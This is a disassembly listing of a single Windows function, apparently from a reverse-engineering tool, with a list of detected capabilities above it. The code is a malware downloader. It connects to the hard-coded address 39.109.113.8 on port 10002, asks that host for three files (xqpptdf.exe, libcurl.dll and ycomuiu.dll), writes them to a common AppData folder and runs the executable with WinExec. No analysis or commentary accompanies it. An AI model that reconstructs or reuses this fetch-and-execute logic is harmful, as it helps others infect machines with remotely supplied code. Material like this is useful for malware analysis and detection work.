Function at 0x4025e0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create process on windows
Create tcp socket
Get common file path
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x406e1f
mov eax, dword fs:[0]
push eax
sub esp, 0x594
mov eax, dword [0x40b040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x554]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x402687
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x402681
mov eax, 2
push str.39.109.113.8
mov word [ebp - 0x1b4], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
push 0x2712
mov dword [ebp - 0x1b0], eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x1b2], ax
lea eax, [ebp - 0x1b4]
push 0x10
push eax
push edi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x402691
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x403473
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00404950
push 0x404b60
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
lea eax, [ebp - 0x114]
push eax
push 0
push 0
push 0x1c
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xorps xmm0, xmm0
mov dword [ebp - 0x194], 0
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x190], 0
movups xmmword [ebp - 0x1a4], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4026e5
sub ecx, edx
lea eax, [ebp - 0x114]
push ecx
push eax
lea ecx, [ebp - 0x1a4]
call fcn.00404ee0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x144]
push 0xb
xorps xmm0, xmm0
mov dword [ebp - 0x134], 0
push str.xqpptdf.exe
movups xmmword [ebp - 0x144], xmm0
mov dword [ebp - 0x130], 0
call fcn.00404ee0
mov byte [ebp - 4], 1
lea eax, [ebp - 0x144]
cmp dword [ebp - 0x130], 0xf
push 0
push dword [ebp - 0x134]
cmova eax, dword [ebp - 0x144]
push eax
push edi
call dword [sym.imp.WS2_32.dll_send]
push 0
push 4
lea eax, [ebp - 0x558]
push eax
push edi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 4
jne 0x402874
push dword [ebp - 0x558]
call dword [sym.imp.mfc140u.dll_operator]
mov ecx, dword [ebp - 0x558]
add esp, 4
xor esi, esi
mov dword [ebp - 0x560], eax
test ecx, ecx
jle 0x4027c9
nop dword [eax]
push 0
sub ecx, esi
add eax, esi
push ecx
push eax
push edi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x402864
mov ecx, dword [ebp - 0x558]
add esi, eax
mov eax, dword [ebp - 0x560]
cmp esi, ecx
jl 0x4027a0
push 0x408600
lea edx, [ebp - 0x1a4]
lea ecx, [ebp - 0x588]
call fcn.00404b90
mov ecx, eax
add esp, 4
mov dword [ebp - 0x55c], ecx
mov byte [ebp - 4], 2
lea esi, [ebp - 0x144]
cmp dword [ebp - 0x130], 0xf
mov eax, dword [ecx + 0x10]
cmova esi, dword [ebp - 0x144]
mov edx, dword [ebp - 0x134]
mov dword [ebp - 0x564], eax
mov eax, dword [ecx + 0x14]
sub eax, dword [ebp - 0x564]
mov dword [ebp - 0x570], edx
mov dword [ebp - 0x568], esi
cmp edx, eax
ja 0x40288b
cmp dword [ecx + 0x14], 0xf
mov esi, dword [ebp - 0x564]
lea eax, [esi + edx]
mov dword [ecx + 0x10], eax
mov eax, ecx
jbe 0x402840
mov eax, dword [ecx]
push edx
push dword [ebp - 0x568]
add esi, eax
push esi
call sub.VCRUNTIME140.dll_memmove
mov eax, dword [ebp - 0x570]
add esp, 0xc
mov byte [eax + esi], 0
mov eax, dword [ebp - 0x55c]
jmp 0x4028a0
mov esi, dword [ebp - 0x560]
push esi
call dword [sym.imp.mfc140u.dll_operator_1]
add esp, 4
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov esi, 1
jmp 0x4033e4
push edx
push esi
mov byte [ebp - 0x55c], 0
push dword [ebp - 0x55c]
push edx
call fcn.004053f0
mov dword [ebp - 0x11c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x12c], xmm0
mov dword [ebp - 0x118], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x12c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x11c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x574]
cmp ecx, 0xf
jbe 0x402926
mov edx, dword [ebp - 0x588]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40291c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40291c
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00405c67
add esp, 8
push 0xb0
lea eax, [ebp - 0x3c4]
mov dword [ebp - 0x578], 0
push 0
push eax
mov dword [ebp - 0x574], 0xf
mov byte [ebp - 0x588], 0
call sub.VCRUNTIME140.dll_memset
cmp dword [ebp - 0x118], 0xf
lea eax, [ebp - 0x12c]
lea ecx, [ebp - 0x3c4]
cmova eax, dword [ebp - 0x12c]
push eax
call fcn.004045a0
mov eax, dword [ebp - 0x3c4]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x3c4]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x3c8], eax
mov esi, dword [ebp - 0x560]
mov byte [ebp - 4], 5
cmp dword [ebp - 0x374], 0
jne 0x4029cf
push esi
call dword [sym.imp.mfc140u.dll_operator_1]
add esp, 4
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov esi, 1
jmp 0x403384
mov eax, dword [ebp - 0x558]
lea ecx, [ebp - 0x3c4]
cdq
push edx
push eax
push esi
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
lea ecx, [ebp - 0x3c0]
call fcn.00404510
test eax, eax
jne 0x402a0d
mov eax, dword [ebp - 0x3c4]
lea ecx, [ebp - 0x3c4]
push 0
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
push esi
call dword [sym.imp.mfc140u.dll_operator_1]
add esp, 4
mov dword [ebp - 0x164], 0
xorps xmm0, xmm0
mov dword [ebp - 0x160], 0
lea ecx, [ebp - 0x174]
movups xmmword [ebp - 0x174], xmm0
push 0xb
push str.libcurl.dll
call fcn.00404ee0
mov byte [ebp - 4], 6
lea eax, [ebp - 0x174]
cmp dword [ebp - 0x160], 0xf
push 0
push dword [ebp - 0x164]
cmova eax, dword [ebp - 0x174]
push eax
push edi
call dword [sym.imp.WS2_32.dll_send]
push 0
push 4
lea eax, [ebp - 0x558]
push eax
push edi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 4
jne 0x402b85
push dword [ebp - 0x558]
call dword [sym.imp.mfc140u.dll_operator]
mov ecx, dword [ebp - 0x558]
add esp, 4
xor esi, esi
mov dword [ebp - 0x560], eax
test ecx, ecx
jle 0x402ad9
nop dword [eax + eax]
push 0
sub ecx, esi
add eax, esi
push ecx
push eax
push edi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x402b74
mov ecx, dword [ebp - 0x558]
add esi, eax
mov eax, dword [ebp - 0x560]
cmp esi, ecx
jl 0x402ab0
push 0x408600
lea edx, [ebp - 0x1a4]
lea ecx, [ebp - 0x5a0]
call fcn.00404b90
mov ecx, eax
add esp, 4
mov dword [ebp - 0x568], ecx
mov byte [ebp - 4], 7
lea esi, [ebp - 0x174]
cmp dword [ebp - 0x160], 0xf
mov eax, dword [ecx + 0x10]
cmova esi, dword [ebp - 0x174]
mov edx, dword [ebp - 0x164]
mov dword [ebp - 0x564], eax
mov eax, dword [ecx + 0x14]
sub eax, dword [ebp - 0x564]
mov dword [ebp - 0x570], edx
mov dword [ebp - 0x55c], esi
cmp edx, eax
ja 0x402b9c
cmp dword [ecx + 0x14], 0xf
mov esi, dword [ebp - 0x564]
lea eax, [edx + esi]
mov dword [ecx + 0x10], eax
mov eax, ecx
jbe 0x402b50
mov eax, dword [ecx]
push edx
push dword [ebp - 0x55c]
add esi, eax
push esi
call sub.VCRUNTIME140.dll_memmove
mov eax, dword [ebp - 0x570]
add esp, 0xc
mov byte [eax + esi], 0
mov eax, dword [ebp - 0x568]
jmp 0x402bb1
mov esi, dword [ebp - 0x560]
mov eax, dword [sym.imp.mfc140u.dll_operator_1]
push esi
call eax
add esp, 4
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov esi, 1
jmp 0x40332f
push edx
push esi
mov byte [ebp - 0x55c], 0
push dword [ebp - 0x55c]
push edx
call fcn.004053f0
movups xmm0, xmmword [eax]
lea ecx, [ebp - 0x12c]
movups xmmword [ebp - 0x588], xmm0
movq xmm0, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x588]
push eax
movq qword [ebp - 0x578], xmm0
call fcn.00404140
mov ecx, dword [ebp - 0x574]
cmp ecx, 0xf
jbe 0x402c21
mov edx, dword [ebp - 0x588]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402c17
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402c51
push ecx
push edx
call fcn.00405c67
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x58c]
cmp ecx, 0xf
jbe 0x402c61
mov edx, dword [ebp - 0x5a0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402c57
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x402c57
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00405c67
add esp, 8
push 0xb0
lea eax, [ebp - 0x314]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
cmp dword [ebp - 0x118], 0xf
lea eax, [ebp - 0x12c]
lea ecx, [ebp - 0x314]
cmova eax, dword [ebp - 0x12c]
push eax
call fcn.004045a0
mov eax, dword [ebp - 0x314]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x314]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x318], eax
mov esi, dword [ebp - 0x560]
mov byte [ebp - 4], 8
cmp dword [ebp - 0x2c4], 0
jne 0x402cf0
mov eax, dword [sym.imp.mfc140u.dll_operator_1]
push esi
call eax
add esp, 4
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov esi, 1
jmp 0x403324
mov eax, dword [ebp - 0x558]
lea ecx, [ebp - 0x314]
cdq
push edx
push eax
push esi
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
lea ecx, [ebp - 0x310]
call fcn.00404510
test eax, eax
jne 0x402d2e
mov eax, dword [ebp - 0x314]
lea ecx, [ebp - 0x314]
push 0
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
mov eax, dword [sym.imp.mfc140u.dll_operator_1]
push esi
call eax
add esp, 4
mov dword [ebp - 0x14c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x148], 0
lea ecx, [ebp - 0x15c]
movups xmmword [ebp - 0x15c], xmm0
push 0xb
push str.ycomuiu.dll
call fcn.00404ee0
mov byte [ebp - 4], 9
lea eax, [ebp - 0x15c]
cmp dword [ebp - 0x148], 0xf
push 0
push dword [ebp - 0x14c]
cmova eax, dword [ebp - 0x15c]
push eax
push edi
call dword [sym.imp.WS2_32.dll_send]
push 0
push 4
lea eax, [ebp - 0x558]
push eax
push edi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 4
jne 0x402ea6
push dword [ebp - 0x558]
call dword [sym.imp.mfc140u.dll_operator]
mov ecx, dword [ebp - 0x558]
add esp, 4
xor esi, esi
mov dword [ebp - 0x560], eax
test ecx, ecx
jle 0x402df9
nop dword [eax]
push 0
sub ecx, esi
add eax, esi
push ecx
push eax
push edi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x402e96
mov ecx, dword [ebp - 0x558]
add esi, eax
mov eax, dword [ebp - 0x560]
cmp esi, ecx
jl 0x402dd0
push 0x408600
lea edx, [ebp - 0x1a4]
lea ecx, [ebp - 0x5a0]
call fcn.00404b90
add esp, 4
mov esi, eax
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x15c]
cmp dword [ebp - 0x148], 0xf
mov edx, dword [esi + 0x10]
cmova eax, dword [ebp - 0x15c]
mov ecx, dword [ebp - 0x14c]
mov dword [ebp - 0x568], eax
mov eax, dword [esi + 0x14]
sub eax, edx
mov dword [ebp - 0x55c], ecx
mov dword [ebp - 0x570], edx
cmp ecx, eax
ja 0x402ebd
cmp dword [esi + 0x14], 0xf
lea eax, [ecx + edx]
mov dword [esi + 0x10], eax
mov eax, esi
mov dword [ebp - 0x564], esi
jbe 0x402e6c
mov eax, dword [esi]
mov dword [ebp - 0x564], eax
push ecx
push dword [ebp - 0x568]
add eax, edx
push eax
call sub.VCRUNTIME140.dll_memmove
mov eax, dword [ebp - 0x55c]
add esp, 0xc
add eax, dword [ebp - 0x564]
mov ecx, dword [ebp - 0x570]
mov byte [eax + ecx], 0
jmp 0x402edb
mov esi, dword [ebp - 0x560]
push esi
call dword [sym.imp.mfc140u.dll_operator_1]
add esp, 4
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov esi, 1
jmp 0x4032cf
push ecx
push dword [ebp - 0x568]
mov byte [ebp - 0x55c], 0
push dword [ebp - 0x55c]
push ecx
mov ecx, esi
call fcn.004053f0
mov esi, eax
movups xmm0, xmmword [esi]
lea eax, [ebp - 0x588]
push eax
movups xmmword [ebp - 0x588], xmm0
lea ecx, [ebp - 0x12c]
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x578], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
call fcn.00404140
mov ecx, dword [ebp - 0x574]
cmp ecx, 0xf
jbe 0x402f4b
mov edx, dword [ebp - 0x588]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402f41
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402f7b
push ecx
push edx
call fcn.00405c67
add esp, 8
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x58c]
cmp ecx, 0xf
jbe 0x402f8b
mov edx, dword [ebp - 0x5a0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402f81
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x402f81
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00405c67
add esp, 8
push 0xb0
lea eax, [ebp - 0x264]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
cmp dword [ebp - 0x118], 0xf
lea eax, [ebp - 0x12c]
lea ecx, [ebp - 0x264]
cmova eax, dword [ebp - 0x12c]
push eax
call fcn.004045a0
mov eax, dword [ebp - 0x264]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x264]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x268], eax
mov esi, dword [ebp - 0x560]
mov byte [ebp - 4], 0xb
cmp dword [ebp - 0x214], 0
jne 0x403019
push esi
call dword [sym.imp.mfc140u.dll_operator_1]
add esp, 4
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov esi, 1
jmp 0x4032c4
mov eax, dword [ebp - 0x558]
lea ecx, [ebp - 0x264]
cdq
push edx
push eax
push esi
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
lea ecx, [ebp - 0x260]
call fcn.00404510
test eax, eax
jne 0x403057
mov eax, dword [ebp - 0x264]
lea ecx, [ebp - 0x264]
push 0
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
push esi
call dword [sym.imp.mfc140u.dll_operator_1]
push 0x40861c
lea edx, [ebp - 0x1a4]
lea ecx, [ebp - 0x588]
call fcn.00404b90
add esp, 8
mov esi, eax
mov byte [ebp - 4], 0xc
lea eax, [ebp - 0x144]
cmp dword [ebp - 0x130], 0xf
mov edx, dword [esi + 0x10]
cmova eax, dword [ebp - 0x144]
mov ecx, dword [ebp - 0x134]
mov dword [ebp - 0x564], eax
mov eax, dword [esi + 0x14]
sub eax, edx
mov dword [ebp - 0x55c], ecx
mov dword [ebp - 0x570], edx
cmp ecx, eax
ja 0x4030fb
cmp dword [esi + 0x14], 0xf
lea eax, [ecx + edx]
mov dword [esi + 0x10], eax
mov eax, esi
mov dword [ebp - 0x568], esi
jbe 0x4030d1
mov eax, dword [esi]
mov dword [ebp - 0x568], eax
push ecx
push dword [ebp - 0x564]
add eax, edx
push eax
call sub.VCRUNTIME140.dll_memmove
mov eax, dword [ebp - 0x55c]
add esp, 0xc
add eax, dword [ebp - 0x568]
mov ecx, dword [ebp - 0x570]
mov byte [eax + ecx], 0
jmp 0x403119
push ecx
push dword [ebp - 0x564]
mov byte [ebp - 0x55c], 0
push dword [ebp - 0x55c]
push ecx
mov ecx, esi
call fcn.004053f0
mov esi, eax
mov dword [ebp - 0x17c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x18c], xmm0
mov dword [ebp - 0x178], 0
movups xmm0, xmmword [esi]
movups xmmword [ebp - 0x18c], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x17c], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov byte [ebp - 4], 0xe
mov ecx, dword [ebp - 0x574]
cmp ecx, 0xf
jbe 0x40319f
mov edx, dword [ebp - 0x588]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403195
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x403195
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00405c67
add esp, 8
mov byte [ebp - 0x55c], 0
lea edx, [ebp - 0x18c]
push dword [ebp - 0x55c]
lea ecx, [ebp - 0x5a0]
mov dword [ebp - 0x578], 0
mov dword [ebp - 0x574], 0xf
mov byte [ebp - 0x588], 0
call fcn.00405560
add esp, 4
lea ecx, [ebp - 0x5a0]
mov byte [ebp - 4], 0xf
call fcn.00402470
mov ecx, dword [ebp - 0x58c]
mov byte [ebp - 0x569], al
cmp ecx, 7
jbe 0x403238
mov edx, dword [ebp - 0x5a0]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403228
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x403228
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00405c67
mov al, byte [ebp - 0x569]
add esp, 8
test al, al
je 0x403264
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x178], 0xf
lea eax, [ebp - 0x18c]
push 1
cmova eax, dword [ebp - 0x18c]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [ebp - 0x178]
xor esi, esi
cmp ecx, 0xf
jbe 0x4032ad
mov edx, dword [ebp - 0x18c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4032a3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403461
push ecx
push edx
call fcn.00405c67
add esp, 8
mov dword [ebp - 0x17c], esi
mov dword [ebp - 0x178], 0xf
mov byte [ebp - 0x18c], 0
lea ecx, [ebp - 0x264]
call fcn.00403490
mov ecx, dword [ebp - 0x148]
cmp ecx, 0xf
jbe 0x403309
mov edx, dword [ebp - 0x15c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4032ff
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403461
push ecx
push edx
call fcn.00405c67
add esp, 8
mov dword [ebp - 0x14c], 0
mov dword [ebp - 0x148], 0xf
mov byte [ebp - 0x15c], 0
lea ecx, [ebp - 0x314]
call fcn.00403490
mov ecx, dword [ebp - 0x160]
cmp ecx, 0xf
jbe 0x403369
mov edx, dword [ebp - 0x174]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40335f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403461
push ecx
push edx
call fcn.00405c67
add esp, 8
mov dword [ebp - 0x164], 0
mov dword [ebp - 0x160], 0xf
mov byte [ebp - 0x174], 0
lea ecx, [ebp - 0x3c4]
call fcn.00403490
mov ecx, dword [ebp - 0x118]
cmp ecx, 0xf
jbe 0x4033c9
mov edx, dword [ebp - 0x12c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4033bf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403461
push ecx
push edx
call fcn.00405c67
add esp, 8
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0xf
mov byte [ebp - 0x12c], 0
mov ecx, dword [ebp - 0x130]
cmp ecx, 0xf
jbe 0x40341a
mov edx, dword [ebp - 0x144]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403410
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403461
push ecx
push edx
call fcn.00405c67
add esp, 8
mov ecx, dword [ebp - 0x190]
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x130], 0xf
mov byte [ebp - 0x144], 0
cmp ecx, 0xf
jbe 0x403471
mov edx, dword [ebp - 0x1a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403467
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x403467
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00405c67
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00405a08
mov esp, ebp
pop ebp
ret